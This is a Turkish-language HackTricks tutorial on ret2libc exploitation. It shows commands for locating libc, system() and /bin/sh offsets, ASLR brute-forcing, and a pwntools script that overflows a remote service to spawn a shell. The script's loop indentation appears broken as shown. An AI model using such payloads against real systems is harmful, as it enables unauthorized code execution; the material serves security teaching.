Ret2lib

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Ret2Libc’nin özü, saldırgan tarafından sağlanan shellcode’u stack üzerinde çalıştırmak yerine, zafiyetli bir programın yürütme akışını paylaşılan bir kütüphanedeki bir function’a (örn. system, execve, strcpy) yönlendirmektir. Saldırgan, stack üzerindeki return address’i istenen kütüphane function’ına işaret edecek şekilde değiştiren ve gerekli argümanların çağrı konvansiyonuna göre doğru şekilde ayarlanmasını sağlayan bir payload hazırlar.

Örnek Adımlar (basitleştirilmiş)

  • Çağrılacak function’ın adresini (örn. system) ve çağrılacak komutu (örn. /bin/sh) elde et
  • Komut string’ini işaret eden ilk argümanı geçirecek ve yürütme akışını function’a yönlendirecek bir ROP chain oluştur

Adresleri Bulma

  • Kullanılan libc mevcut makinedekiyse, belleğe nerede yükleneceğini şu şekilde bulabilirsiniz:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

ASLR’nin libc adresini değiştirip değiştirmediğini kontrol etmek için şunu yapabilirsiniz:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Kullanılan libc’yi bilmek, system fonksiyonunun ofsetini şu şekilde bulmayı da mümkün kılar:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Kullanılan libc biliniyorsa, /bin/sh string’inin offset’ini şu şekilde bulmak mümkündür:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEF Kullanımı

Kullanılan libc biliniyorsa, Peda veya GEF kullanarak system fonksiyonunun, exit fonksiyonunun ve string /bin/sh’in adresini almak da mümkündür :

p system
p exit
find "/bin/sh"

/proc/<PID>/maps Kullanımı

Eğer süreç her seferinde sizinle iletişimde bulunduğunda children oluşturuyorsa (ağ sunucusu) o dosyayı read etmeyi deneyin (muhtemelen root olmanız gerekecek).

Burada süreç içinde libc’nin tam olarak nerede yüklendiğini ve sürecin her bir children’ı için nereye yükleneceğini görebilirsiniz.

Bu durumda 0xb75dc000 adresine yüklüdür (Bu libc’nin temel adresi olacaktır)

Bilinmeyen libc

Binary’nin yüklediği libc’yi bilmiyor olabilirsiniz (çünkü bulunduğu sunucuya erişiminiz olmayabilir). Bu durumda zafiyeti istismar ederek bazı adresleri leak edip hangi libc kütüphanesinin kullanıldığını bulabilirsiniz:

Leaking libc address with ROP

Ve bunun için bir pwntools şablonunu şu dosyada bulabilirsiniz:

Leaking libc - template

2 offset ile libc’yi tespit etme

https://libc.blukat.me/ sayfasını kontrol edin ve libc içindeki fonksiyonların birkaç adresini kullanarak kullanılan sürümü bulun.

32 bit’te ASLR’yi Bypass Etme

Bu brute-forcing saldırıları sadece 32bit sistemler için kullanışlıdır.

  • Eğer exploit local ise, libc’nin base adresini brute-force etmeyi deneyebilirsiniz (32bit sistemler için kullanışlı):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Eğer uzak bir sunucuya saldırıyorsanız, libc fonksiyonu usleep’in adresini brute-force etmeyi deneyebilirsiniz; örneğin argüman olarak 10 gönderebilirsiniz. Eğer bir noktada sunucu yanıt vermek için 10s daha gecikirse, bu fonksiyonun adresini bulmuşsunuz demektir.

One Gadget

libc içindeki tek bir belirli adrese atlayarak bir shell çalıştırın:

One Gadget

x86 Ret2lib Code Example

Bu örnekte ASLR brute-force code’a entegre edilmiştir ve vulnerable binary uzak bir sunucuda bulunmaktadır:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Code Example

Örneği şu yerden inceleyin:

ROP & JOP

ARM64 Ret2lib Example

ARM64 durumunda, ret talimatı x30 registerının gösterdiği yere atlar; yığın registerının gösterdiği yere değil. Bu yüzden biraz daha karmaşıktır.

Ayrıca ARM64’te bir talimat ne yapıyorsa onu yapar (talimatların ortasına atlayıp onları yeni talimatlara dönüştürmek mümkün değildir).

Örneği şu yerden inceleyin:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

Bu, belirli veriyi argüman olarak verip printf/puts çağırarak süreçten bilgi leak edilmesini sağlar. Örneğin GOT’taki puts adresini puts’un çalıştırılmasına koymak, bellekteki puts adresinin leak edilmesine neden olur.

Ret2printf

Bu temelde bir Ret2lib’i printf format strings vulnerability’ine dönüştürme suistimali anlamına gelir; ret2lib’i, onu exploit etmek için printf’i belirli değerlerle çağırmak üzere kullanmak (mantıksız gibi görünür ama mümkün):

Format Strings

Other Examples & references

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin